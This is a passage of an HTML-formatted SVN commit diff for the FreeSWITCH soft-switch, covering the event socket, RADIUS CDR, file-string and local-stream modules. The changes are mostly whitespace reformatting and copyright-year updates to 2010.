</span><span class="cx">                                 switch_snprintf(reply, reply_len, &quot;~Reply-Text: +OK accepted\n%s%s%s\n&quot;, event_reply, api_reply, log_reply);
</span><span class="lines">@@ -1693,10 +1683,10 @@
</span><span class="cx">                                 switch_snprintf(reply, reply_len, &quot;-ERR invalid&quot;);
</span><span class="cx">                                 switch_clear_flag_locked(listener, LFLAG_RUNNING);
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (x_domain_root) {
</span><span class="cx">                                 switch_xml_free(x_domain_root);
</span><del>-                        }                        
</del><ins>+                        }
</ins><span class="cx"> 
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="lines">@@ -1709,17 +1699,18 @@
</span><span class="cx"> 
</span><span class="cx">                 strip_cr(header_name);
</span><span class="cx"> 
</span><del>-                while(header_name &amp;&amp; *header_name &amp;&amp; *header_name == ' ') header_name++;
-                
</del><ins>+                while (header_name &amp;&amp; *header_name &amp;&amp; *header_name == ' ')
+                        header_name++;
+
</ins><span class="cx">                 if ((header_val = strchr(header_name, ' '))) {
</span><span class="cx">                         *header_val++ = '\0';
</span><span class="cx">                 }
</span><del>-                
-                switch_mutex_lock(listener-&gt;filter_mutex);                
</del><ins>+
+                switch_mutex_lock(listener-&gt;filter_mutex);
</ins><span class="cx">                 if (!listener-&gt;filters) {
</span><span class="cx">                         switch_event_create_plain(&amp;listener-&gt;filters, SWITCH_EVENT_CHANNEL_DATA);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (!strcasecmp(header_name, &quot;delete&quot;) &amp;&amp; header_val) {
</span><span class="cx">                         header_name = header_val;
</span><span class="cx">                         if ((header_val = strchr(header_name, ' '))) {
</span><span class="lines">@@ -1748,9 +1739,9 @@
</span><span class="cx"> 
</span><span class="cx">                 goto done;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (listener-&gt;session &amp;&amp; !strncasecmp(cmd, &quot;resume&quot;, 6)) {
</span><del>-                switch_set_flag_locked(listener, LFLAG_RESUME);                        
</del><ins>+                switch_set_flag_locked(listener, LFLAG_RESUME);
</ins><span class="cx">                 switch_channel_set_variable(switch_core_session_get_channel(listener-&gt;session), &quot;socket_resume&quot;, &quot;true&quot;);
</span><span class="cx">                 switch_snprintf(reply, reply_len, &quot;+OK&quot;);
</span><span class="cx">                 goto done;
</span><span class="lines">@@ -1768,9 +1759,9 @@
</span><span class="cx">                         char *event_str;
</span><span class="cx">                         switch_size_t len;
</span><span class="cx"> 
</span><del>-                        switch_set_flag_locked(listener, LFLAG_CONNECTED);                        
</del><ins>+                        switch_set_flag_locked(listener, LFLAG_CONNECTED);
</ins><span class="cx">                         switch_event_create(&amp;call_event, SWITCH_EVENT_CHANNEL_DATA);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (channel) {
</span><span class="cx">                                 switch_caller_profile_event_set_data(switch_channel_get_caller_profile(channel), &quot;Channel&quot;, call_event);
</span><span class="cx">                                 switch_channel_event_set_data(channel, call_event);
</span><span class="lines">@@ -1811,10 +1802,10 @@
</span><span class="cx"> 
</span><span class="cx">                         if (!listener-&gt;session) {
</span><span class="cx">                                 char *uuid;
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if ((uuid = cmd + 9)) {
</span><span class="cx">                                         strip_cr(uuid);
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if (!(listener-&gt;session = switch_core_session_locate(uuid))) {
</span><span class="cx">                                                 switch_snprintf(reply, reply_len, &quot;-ERR invalid uuid&quot;);
</span><span class="cx">                                                 goto done;
</span><span class="lines">@@ -1823,8 +1814,8 @@
</span><span class="cx">                                         switch_set_flag_locked(listener, LFLAG_SESSION);
</span><span class="cx">                                         switch_set_flag_locked(listener, LFLAG_ASYNC);
</span><span class="cx">                                 }
</span><del>-                                
</del><span class="cx"> 
</span><ins>+
</ins><span class="cx">                         }
</span><span class="cx"> 
</span><span class="cx">                         listener-&gt;event_list[SWITCH_EVENT_CHANNEL_ANSWER] = 1;
</span><span class="lines">@@ -1864,19 +1855,19 @@
</span><span class="cx">         if (!strncasecmp(cmd, &quot;divert_events&quot;, 13)) {
</span><span class="cx">                 char *onoff = cmd + 13;
</span><span class="cx">                 switch_channel_t *channel;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (!listener-&gt;session) {
</span><span class="cx">                         switch_snprintf(reply, reply_len, &quot;-ERR not controlling a session.&quot;);
</span><span class="cx">                         goto done;
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">                 channel = switch_core_session_get_channel(listener-&gt;session);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (onoff) {
</span><del>-                        while(*onoff == ' ') {
</del><ins>+                        while (*onoff == ' ') {
</ins><span class="cx">                                 onoff++;
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (*onoff == '\r' || *onoff == '\n') {
</span><span class="cx">                                 onoff = NULL;
</span><span class="cx">                         } else {
</span><span class="lines">@@ -1889,7 +1880,7 @@
</span><span class="cx">                         goto done;
</span><span class="cx">                 }
</span><span class="cx"> 
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (!strcasecmp(onoff, &quot;on&quot;)) {
</span><span class="cx">                         switch_snprintf(reply, reply_len, &quot;+OK events diverted&quot;);
</span><span class="cx">                         switch_channel_set_flag(channel, CF_DIVERT_EVENTS);
</span><span class="lines">@@ -1907,11 +1898,11 @@
</span><span class="cx">                 char *uuid = cmd + 7;
</span><span class="cx">                 const char *async_var = switch_event_get_header(*event, &quot;async&quot;);
</span><span class="cx">                 int async = switch_test_flag(listener, LFLAG_ASYNC);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (switch_true(async_var)) {
</span><span class="cx">                         async = 1;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (uuid) {
</span><span class="cx">                         while (*uuid == ' ') {
</span><span class="cx">                                 uuid++;
</span><span class="lines">@@ -1923,7 +1914,7 @@
</span><span class="cx">                                 strip_cr(uuid);
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (zstr(uuid)) {
</span><span class="cx">                         uuid = switch_event_get_header(*event, &quot;session-id&quot;);
</span><span class="cx">                 }
</span><span class="lines">@@ -1955,11 +1946,11 @@
</span><span class="cx">                                 switch_snprintf(reply, reply_len, &quot;-ERR invalid session id [%s]&quot;, switch_str_nil(uuid));
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 goto done;
</span><span class="cx"> 
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (switch_test_flag(listener, LFLAG_OUTBOUND) &amp;&amp; !switch_test_flag(listener, LFLAG_FULL)) {
</span><span class="cx">                 goto done;
</span><span class="cx">         }
</span><span class="lines">@@ -2000,7 +1991,7 @@
</span><span class="cx">                                 switch_core_session_rwunlock(dsession);
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (*event) {
</span><span class="cx">                         switch_event_fire(event);
</span><span class="cx">                 }
</span><span class="lines">@@ -2009,7 +2000,7 @@
</span><span class="cx">         } else if (!strncasecmp(cmd, &quot;api &quot;, 4)) {
</span><span class="cx">                 struct api_command_struct acs = { 0 };
</span><span class="cx">                 char *console_execute = switch_event_get_header(*event, &quot;console_execute&quot;);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 char *api_cmd = cmd + 4;
</span><span class="cx">                 char *arg = NULL;
</span><span class="cx">                 strip_cr(api_cmd);
</span><span class="lines">@@ -2027,14 +2018,14 @@
</span><span class="cx">                                 goto done;
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><span class="cx"> 
</span><ins>+
</ins><span class="cx">                 acs.listener = listener;
</span><span class="cx">                 acs.api_cmd = api_cmd;
</span><span class="cx">                 acs.arg = arg;
</span><span class="cx">                 acs.bg = 0;
</span><del>-                
</del><span class="cx"> 
</span><ins>+
</ins><span class="cx">                 api_exec(NULL, (void *) &amp;acs);
</span><span class="cx"> 
</span><span class="cx">                 status = SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -2092,9 +2083,10 @@
</span><span class="cx">                 switch_snprintf(reply, reply_len, &quot;~Reply-Text: +OK Job-UUID: %s\nJob-UUID: %s\n\n&quot;, acs-&gt;uuid_str, acs-&gt;uuid_str);
</span><span class="cx">                 switch_thread_create(&amp;thread, thd_attr, api_exec, acs, acs-&gt;pool);
</span><span class="cx">                 sanity = 2000;
</span><del>-                while(!acs-&gt;ack) {
</del><ins>+                while (!acs-&gt;ack) {
</ins><span class="cx">                         switch_cond_next();
</span><del>-                        if (--sanity &lt;= 0) break;
</del><ins>+                        if (--sanity &lt;= 0)
+                                break;
</ins><span class="cx">                 }
</span><span class="cx">                 if (acs-&gt;ack == -1) {
</span><span class="cx">                         acs-&gt;ack--;
</span><span class="lines">@@ -2111,7 +2103,6 @@
</span><span class="cx">                         switch_snprintf(reply, reply_len, &quot;-ERR permission denied&quot;);
</span><span class="cx">                         goto done;
</span><span class="cx">                 }
</span><del>-
</del><span class="cx">                 //pull off the first newline/carriage return
</span><span class="cx">                 strip_cr(cmd);
</span><span class="cx"> 
</span><span class="lines">@@ -2182,8 +2173,8 @@
</span><span class="cx">                                                 goto end;
</span><span class="cx">                                         }
</span><span class="cx">                                 }
</span><del>-                                
-                                
</del><ins>+
+
</ins><span class="cx">                                 if (custom) {
</span><span class="cx">                                         if (!listener-&gt;allowed_event_hash || switch_core_hash_find(listener-&gt;allowed_event_hash, cur)) {
</span><span class="cx">                                                 switch_core_hash_insert(listener-&gt;event_hash, cur, MARKER);
</span><span class="lines">@@ -2192,7 +2183,7 @@
</span><span class="cx">                                                 goto done;
</span><span class="cx">                                         }
</span><span class="cx">                                 } else if (switch_name_event(cur, &amp;type) == SWITCH_STATUS_SUCCESS) {
</span><del>-                                        if (switch_test_flag(listener, LFLAG_AUTH_EVENTS) &amp;&amp; !listener-&gt;allowed_event_list[type] &amp;&amp; 
</del><ins>+                                        if (switch_test_flag(listener, LFLAG_AUTH_EVENTS) &amp;&amp; !listener-&gt;allowed_event_list[type] &amp;&amp;
</ins><span class="cx">                                                 !switch_test_flag(listener, LFLAG_ALL_EVENTS_AUTHED)) {
</span><span class="cx">                                                 switch_snprintf(reply, reply_len, &quot;-ERR permission denied&quot;);
</span><span class="cx">                                                 goto done;
</span><span class="lines">@@ -2301,13 +2292,13 @@
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>- done:
</del><ins>+  done:
</ins><span class="cx"> 
</span><span class="cx">         if (zstr(reply)) {
</span><span class="cx">                 switch_snprintf(reply, reply_len, &quot;-ERR command not found&quot;);
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>- done_noreply:
</del><ins>+  done_noreply:
</ins><span class="cx"> 
</span><span class="cx">         if (event) {
</span><span class="cx">                 switch_event_destroy(event);
</span><span class="lines">@@ -2332,9 +2323,9 @@
</span><span class="cx">         switch_mutex_lock(globals.listener_mutex);
</span><span class="cx">         prefs.threads++;
</span><span class="cx">         switch_mutex_unlock(globals.listener_mutex);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_assert(listener != NULL);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((session = listener-&gt;session)) {
</span><span class="cx">                 if (switch_core_session_read_lock(session) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         goto done;
</span><span class="lines">@@ -2352,7 +2343,8 @@
</span><span class="cx">                                 const char message[] = &quot;Access Denied, go away.\n&quot;;
</span><span class="cx">                                 int mlen = strlen(message);
</span><span class="cx"> 
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, &quot;IP %s Rejected by acl \&quot;%s\&quot;\n&quot;, listener-&gt;remote_ip, prefs.acl[x]);
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, &quot;IP %s Rejected by acl \&quot;%s\&quot;\n&quot;, listener-&gt;remote_ip,
+                                                                  prefs.acl[x]);
</ins><span class="cx"> 
</span><span class="cx">                                 switch_snprintf(buf, sizeof(buf), &quot;Content-Type: text/rude-rejection\nContent-Length: %d\n\n&quot;, mlen);
</span><span class="cx">                                 len = strlen(buf);
</span><span class="lines">@@ -2363,12 +2355,13 @@
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (globals.debug &gt; 0) {
</span><span class="cx">                 if (zstr(listener-&gt;remote_ip)) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Connection Open\n&quot;);
</span><span class="cx">                 } else {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Connection Open from %s:%d\n&quot;, listener-&gt;remote_ip, listener-&gt;remote_port);
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Connection Open from %s:%d\n&quot;, listener-&gt;remote_ip,
+                                                          listener-&gt;remote_port);
</ins><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="lines">@@ -2378,7 +2371,7 @@
</span><span class="cx"> 
</span><span class="cx">         if (session &amp;&amp; switch_test_flag(listener, LFLAG_AUTHED)) {
</span><span class="cx">                 switch_event_t *ievent = NULL;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_set_flag_locked(listener, LFLAG_SESSION);
</span><span class="cx">                 status = read_packet(listener, &amp;ievent, 25);
</span><span class="cx"> 
</span><span class="lines">@@ -2387,8 +2380,8 @@
</span><span class="cx">                         switch_clear_flag_locked(listener, LFLAG_RUNNING);
</span><span class="cx">                         goto done;
</span><span class="cx">                 }
</span><del>-                
</del><span class="cx"> 
</span><ins>+
</ins><span class="cx">                 if (parse_command(listener, &amp;ievent, reply, sizeof(reply)) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         switch_clear_flag_locked(listener, LFLAG_RUNNING);
</span><span class="cx">                         goto done;
</span><span class="lines">@@ -2462,11 +2455,11 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">   done:
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (revent) {
</span><span class="cx">                 switch_event_destroy(&amp;revent);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         remove_listener(listener);
</span><span class="cx"> 
</span><span class="cx">         if (globals.debug &gt; 0) {
</span><span class="lines">@@ -2484,7 +2477,7 @@
</span><span class="cx">         if (listener-&gt;session) {
</span><span class="cx">                 channel = switch_core_session_get_channel(listener-&gt;session);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (channel &amp;&amp; (switch_test_flag(listener, LFLAG_RESUME) || ((var = switch_channel_get_variable(channel, &quot;socket_resume&quot;)) &amp;&amp; switch_true(var)))) {
</span><span class="cx">                 switch_channel_set_state(channel, CS_RESET);
</span><span class="cx">         }
</span><span class="lines">@@ -2493,13 +2486,11 @@
</span><span class="cx">                 char disco_buf[512] = &quot;&quot;;
</span><span class="cx">                 const char message[] = &quot;Disconnected, goodbye.\nSee you at ClueCon! http://www.cluecon.com/\n&quot;;
</span><span class="cx">                 int mlen = strlen(message);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (listener-&gt;session) {
</span><span class="cx">                         switch_snprintf(disco_buf, sizeof(disco_buf), &quot;Content-Type: text/disconnect-notice\n&quot;
</span><span class="cx">                                                         &quot;Controlled-Session-UUID: %s\n&quot;
</span><del>-                                                        &quot;Content-Disposition: disconnect\n&quot;
-                                                        &quot;Content-Length: %d\n\n&quot;, 
-                                                        switch_core_session_get_uuid(listener-&gt;session), mlen);
</del><ins>+                                                        &quot;Content-Disposition: disconnect\n&quot; &quot;Content-Length: %d\n\n&quot;, switch_core_session_get_uuid(listener-&gt;session), mlen);
</ins><span class="cx">                 } else {
</span><span class="cx">                         switch_snprintf(disco_buf, sizeof(disco_buf), &quot;Content-Type: text/disconnect-notice\nContent-Length: %d\n\n&quot;, mlen);
</span><span class="cx">                 }
</span><span class="lines">@@ -2636,7 +2627,7 @@
</span><span class="cx"> 
</span><span class="cx">         config();
</span><span class="cx"> 
</span><del>-        while(!prefs.done) {
</del><ins>+        while (!prefs.done) {
</ins><span class="cx">                 rv = switch_sockaddr_info_get(&amp;sa, prefs.ip, SWITCH_INET, prefs.port, 0, pool);
</span><span class="cx">                 if (rv)
</span><span class="cx">                         goto fail;
</span><span class="lines">@@ -2667,13 +2658,13 @@
</span><span class="cx">         listen_list.ready = 1;
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-        while(!prefs.done) {
</del><ins>+        while (!prefs.done) {
</ins><span class="cx">                 if (switch_core_new_memory_pool(&amp;listener_pool) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;OH OH no pool\n&quot;);
</span><span class="cx">                         goto fail;
</span><span class="cx">                 }
</span><span class="cx"> 
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if ((rv = switch_socket_accept(&amp;inbound_socket, listen_list.sock, listener_pool))) {
</span><span class="cx">                         if (prefs.done) {
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, &quot;Shutting Down\n&quot;);
</span><span class="lines">@@ -2689,7 +2680,7 @@
</span><span class="cx">                         errs = 0;
</span><span class="cx">                 }
</span><span class="cx"> 
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (!(listener = switch_core_alloc(listener_pool, sizeof(*listener)))) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Memory Error\n&quot;);
</span><span class="cx">                         break;
</span><span class="lines">@@ -2717,10 +2708,10 @@
</span><span class="cx"> 
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>- end:
</del><ins>+  end:
</ins><span class="cx"> 
</span><span class="cx">         close_socket(&amp;listen_list.sock);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (prefs.nat_map &amp;&amp; switch_core_get_variable(&quot;nat_type&quot;)) {
</span><span class="cx">                 switch_nat_del_mapping(prefs.port, SWITCH_NAT_TCP);
</span><span class="cx">         }
</span></span></pre></div>
<a id="freeswitchtrunksrcmodevent_handlersmod_event_testmod_event_testc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/event_handlers/mod_event_test/mod_event_test.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/event_handlers/mod_event_test/mod_event_test.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/event_handlers/mod_event_test/mod_event_test.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span></span></pre></div>
<a id="freeswitchtrunksrcmodevent_handlersmod_radius_cdrmod_radius_cdrc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/event_handlers/mod_radius_cdr/mod_radius_cdr.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/event_handlers/mod_radius_cdr/mod_radius_cdr.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/event_handlers/mod_radius_cdr/mod_radius_cdr.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -42,7 +42,8 @@
</span><span class="cx"> static struct {
</span><span class="cx">         int shutdown;
</span><span class="cx">         switch_thread_rwlock_t *rwlock;
</span><del>-} globals = { 0 };
</del><ins>+} globals = {
+0};
</ins><span class="cx"> 
</span><span class="cx"> static char cf[] = &quot;mod_radius_cdr.conf&quot;;
</span><span class="cx"> static char my_dictionary[PATH_MAX];
</span><span class="lines">@@ -346,9 +347,7 @@
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx"> 
</span><del>-                        if (profile-&gt;caller_extension &amp;&amp; 
-                                profile-&gt;caller_extension-&gt;last_application &amp;&amp; 
-                                profile-&gt;caller_extension-&gt;last_application-&gt;application_name) {
</del><ins>+                        if (profile-&gt;caller_extension &amp;&amp; profile-&gt;caller_extension-&gt;last_application &amp;&amp; profile-&gt;caller_extension-&gt;last_application-&gt;application_name) {
</ins><span class="cx">                                 if (rc_avpair_add(rad_config, &amp;send, PW_FS_LASTAPP,
</span><span class="cx">                                                                   (void *) profile-&gt;caller_extension-&gt;last_application-&gt;application_name, -1, PW_FS_PEC) == NULL) {
</span><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;failed adding Freeswitch-Lastapp: %s\n&quot;, profile-&gt;source);
</span><span class="lines">@@ -369,8 +368,8 @@
</span><span class="cx">                 retval = SWITCH_STATUS_TERM;
</span><span class="cx">         }
</span><span class="cx">         rc_avpair_free(send);
</span><del>-        rc_destroy(rad_config);
- end:
</del><ins>+        rc_destroy(rad_config);
+  end:
</ins><span class="cx">         switch_xml_free(cdr);
</span><span class="cx">         switch_thread_rwlock_unlock(globals.rwlock);
</span><span class="cx">         return (retval);
</span><span class="lines">@@ -562,8 +561,7 @@
</span><span class="cx">                                         goto end;
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        if (profile-&gt;caller_extension &amp;&amp; profile-&gt;caller_extension-&gt;last_application &amp;&amp; 
-                            profile-&gt;caller_extension-&gt;last_application-&gt;application_name) {
</del><ins>+                        if (profile-&gt;caller_extension &amp;&amp; profile-&gt;caller_extension-&gt;last_application &amp;&amp; profile-&gt;caller_extension-&gt;last_application-&gt;application_name) {
</ins><span class="cx">                                 if (rc_avpair_add(rad_config, &amp;send, PW_FS_LASTAPP,
</span><span class="cx">                                                                   (void *) profile-&gt;caller_extension-&gt;last_application-&gt;application_name, -1, PW_FS_PEC) == NULL) {
</span><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;failed adding Freeswitch-Lastapp: %s\n&quot;, profile-&gt;source);
</span><span class="lines">@@ -643,9 +641,9 @@
</span><span class="cx">                 retval = SWITCH_STATUS_TERM;
</span><span class="cx">         }
</span><span class="cx">         rc_avpair_free(send);
</span><del>-        rc_destroy(rad_config);
</del><ins>+        rc_destroy(rad_config);
</ins><span class="cx"> 
</span><del>- end:
</del><ins>+  end:
</ins><span class="cx">         switch_xml_free(cdr);
</span><span class="cx">         switch_thread_rwlock_unlock(globals.rwlock);
</span><span class="cx">         return (retval);
</span><span class="lines">@@ -718,11 +716,11 @@
</span><span class="cx">         /*.on_hangup */ NULL,
</span><span class="cx">         /*.on_exchange_media */ NULL,
</span><span class="cx">         /*.on_soft_execute */ NULL,
</span><del>-        /*.on_consume_media*/ NULL,
-        /*.on_hibernate*/ NULL,
-        /*.on_reset*/ NULL,
-        /*.on_park*/ NULL,
-        /*.on_reporting*/ my_on_reporting
</del><ins>+        /*.on_consume_media */ NULL,
+        /*.on_hibernate */ NULL,
+        /*.on_reset */ NULL,
+        /*.on_park */ NULL,
+        /*.on_reporting */ my_on_reporting
</ins><span class="cx"> };
</span><span class="cx"> 
</span><span class="cx"> SWITCH_MODULE_LOAD_FUNCTION(mod_radius_cdr_load)
</span></span></pre></div>
<a id="freeswitchtrunksrcmodformatsmod_file_stringmod_file_stringc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/formats/mod_file_string/mod_file_string.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/formats/mod_file_string/mod_file_string.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/formats/mod_file_string/mod_file_string.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -63,10 +63,10 @@
</span><span class="cx">         char *file;
</span><span class="cx">         const char *prefix = handle-&gt;prefix;
</span><span class="cx"> 
</span><del>- top:
</del><ins>+  top:
</ins><span class="cx"> 
</span><span class="cx">         context-&gt;index++;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (switch_test_flag((&amp;context-&gt;fh), SWITCH_FILE_OPEN)) {
</span><span class="cx">                 switch_core_file_close(&amp;context-&gt;fh);
</span><span class="cx">         }
</span><span class="lines">@@ -89,13 +89,10 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if (switch_core_file_open(&amp;context-&gt;fh,
</span><del>-                                                          file,
-                                                          handle-&gt;channels,
-                                                          handle-&gt;samplerate,
-                                                          SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
</del><ins>+                                                          file, handle-&gt;channels, handle-&gt;samplerate, SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                 goto top;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         handle-&gt;samples = context-&gt;fh.samples;
</span><span class="cx">         handle-&gt;samplerate = context-&gt;fh.samplerate;
</span><span class="cx">         handle-&gt;channels = context-&gt;fh.channels;
</span><span class="lines">@@ -122,15 +119,15 @@
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;This format does not support writing!\n&quot;);
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         context = switch_core_alloc(handle-&gt;memory_pool, sizeof(*context));
</span><del>-        
</del><ins>+
</ins><span class="cx">         file_dup = switch_core_strdup(handle-&gt;memory_pool, path);
</span><span class="cx">         context-&gt;argc = switch_separate_string(file_dup, '!', context-&gt;argv, (sizeof(context-&gt;argv) / sizeof(context-&gt;argv[0])));
</span><span class="cx">         context-&gt;index = -1;
</span><del>-        
</del><ins>+
</ins><span class="cx">         handle-&gt;private_info = context;
</span><del>-        
</del><ins>+
</ins><span class="cx">         return next_file(handle) ? SWITCH_STATUS_SUCCESS : SWITCH_STATUS_FALSE;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -150,17 +147,17 @@
</span><span class="cx">         size_t llen = *len;
</span><span class="cx"> 
</span><span class="cx">         if (context-&gt;samples &gt; 0) {
</span><del>-                if (*len &gt; (size_t)context-&gt;samples) {
</del><ins>+                if (*len &gt; (size_t) context-&gt;samples) {
</ins><span class="cx">                         *len = context-&gt;samples;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 context-&gt;samples -= *len;
</span><span class="cx">                 switch_generate_sln_silence((int16_t *) data, *len, 400);
</span><span class="cx">                 status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">         } else {
</span><span class="cx">                 status = switch_core_file_read(&amp;context-&gt;fh, data, len);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (status != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 if (!next_file(handle)) {
</span><span class="cx">                         return SWITCH_STATUS_FALSE;
</span></span></pre></div>
<a id="freeswitchtrunksrcmodformatsmod_local_streammod_local_streamc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/formats/mod_local_stream/mod_local_stream.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/formats/mod_local_stream/mod_local_stream.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/formats/mod_local_stream/mod_local_stream.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -137,7 +137,7 @@
</span><span class="cx">         }
</span><span class="cx"> 
